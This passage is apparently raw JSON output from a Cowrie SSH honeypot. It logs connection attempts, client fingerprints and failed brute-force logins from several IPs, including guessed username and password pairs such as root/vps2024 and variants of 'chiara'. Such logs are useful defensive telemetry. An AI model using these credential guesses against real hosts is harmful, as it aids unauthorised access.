1@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:16:39.071446Z","src_ip":"159.203.92.129","session":"e8ad8bd3b02a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AI-T1","password":"AI-T1123","message":"login attempt [AI-T1/AI-T1123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:16:39.082625Z","src_ip":"159.203.92.129","session":"e8ad8bd3b02a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:16:40.105718Z","src_ip":"159.203.92.129","session":"e8ad8bd3b02a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":47472,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d4b542ce761","protocol":"ssh","message":"New connection: 103.228.69.212:47472 (159.203.135.109:22) [session: 3d4b542ce761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:16:51.910772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:16:51.917409Z","src_ip":"103.228.69.212","session":"3d4b542ce761","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:16:52.156635Z","src_ip":"103.228.69.212","session":"3d4b542ce761","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"666666","message":"login attempt [git/666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:16:53.125705Z","src_ip":"103.228.69.212","session":"3d4b542ce761","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:16:54.365179Z","src_ip":"103.228.69.212","session":"3d4b542ce761","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33742,"dst_ip":"159.203.135.109","dst_port":22,"session":"34d5fc8d1063","protocol":"ssh","message":"New connection: 159.203.92.129:33742 (159.203.135.109:22) [session: 34d5fc8d1063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:17:22.818762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:17:22.823464Z","src_ip":"159.203.92.129","session":"34d5fc8d1063","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:17:22.832219Z","src_ip":"159.203.92.129","session":"34d5fc8d1063","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AI","password":"123","message":"login attempt [AI/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:17:22.842844Z","src_ip":"159.203.92.129","session":"34d5fc8d1063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:17:23.850085Z","src_ip":"159.203.92.129","session":"34d5fc8d1063","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":36688,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc5c0b30c560","protocol":"ssh","message":"New connection: 103.228.69.212:36688 (159.203.135.109:22) [session: fc5c0b30c560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:17:52.562391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:17:52.565901Z","src_ip":"103.228.69.212","session":"fc5c0b30c560","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:17:52.803716Z","src_ip":"103.228.69.212","session":"fc5c0b30c560","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser1","password":"myuser1","message":"login attempt [myuser1/myuser1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:17:53.771451Z","src_ip":"103.228.69.212","session":"fc5c0b30c560","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:17:55.010011Z","src_ip":"103.228.69.212","session":"fc5c0b30c560","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":18739,"dst_ip":"10.17.0.5","dst_port":22,"session":"008b6c1907ad","protocol":"ssh","message":"New connection: 213.209.159.159:18739 (10.17.0.5:22) [session: 008b6c1907ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:17:57.923755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:17:57.930482Z","src_ip":"213.209.159.159","session":"008b6c1907ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:17:58.016540Z","src_ip":"213.209.159.159","session":"008b6c1907ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chiara","password":"chiara","message":"login attempt [chiara/chiara] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:17:58.414963Z","src_ip":"213.209.159.159","session":"008b6c1907ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chiara","password":"chiara1","message":"login attempt [chiara/chiara1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:17:59.500498Z","src_ip":"213.209.159.159","session":"008b6c1907ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chiara","password":"chiara123","message":"login attempt [chiara/chiara123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:00.586439Z","src_ip":"213.209.159.159","session":"008b6c1907ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chiara","password":"chiara1234","message":"login attempt [chiara/chiara1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:01.673225Z","src_ip":"213.209.159.159","session":"008b6c1907ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chiara","password":"chiara12345","message":"login attempt [chiara/chiara12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:02.759713Z","src_ip":"213.209.159.159","session":"008b6c1907ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:03.845351Z","src_ip":"213.209.159.159","session":"008b6c1907ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56184,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9c75d083fbe","protocol":"ssh","message":"New connection: 159.203.92.129:56184 (159.203.135.109:22) [session: a9c75d083fbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:06.710558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:06.715548Z","src_ip":"159.203.92.129","session":"a9c75d083fbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:06.720432Z","src_ip":"159.203.92.129","session":"a9c75d083fbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AI","password":"123456","message":"login attempt [AI/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:06.800668Z","src_ip":"159.203.92.129","session":"a9c75d083fbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:07.808023Z","src_ip":"159.203.92.129","session":"a9c75d083fbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":60696,"dst_ip":"159.203.135.109","dst_port":22,"session":"545f127d8062","protocol":"ssh","message":"New connection: 80.94.92.186:60696 (159.203.135.109:22) [session: 545f127d8062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:08.277199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:08.384093Z","src_ip":"80.94.92.186","session":"545f127d8062","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:08.533788Z","src_ip":"80.94.92.186","session":"545f127d8062","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:09.213767Z","src_ip":"80.94.92.186","session":"545f127d8062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:10.535149Z","src_ip":"80.94.92.186","session":"545f127d8062","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":34876,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4b32e2495a0","protocol":"ssh","message":"New connection: 37.143.61.84:34876 (159.203.135.109:22) [session: b4b32e2495a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:23.078610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:23.083102Z","src_ip":"37.143.61.84","session":"b4b32e2495a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:23.186470Z","src_ip":"37.143.61.84","session":"b4b32e2495a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps2024","message":"login attempt [root/vps2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:26.293026Z","src_ip":"37.143.61.84","session":"b4b32e2495a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:27.885396Z","src_ip":"37.143.61.84","session":"b4b32e2495a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":54134,"dst_ip":"159.203.135.109","dst_port":22,"session":"84a76c586149","protocol":"ssh","message":"New connection: 103.228.69.212:54134 (159.203.135.109:22) [session: 84a76c586149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:50.389669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:18:50.394183Z","src_ip":"103.228.69.212","session":"84a76c586149","protocol":"ssh"}
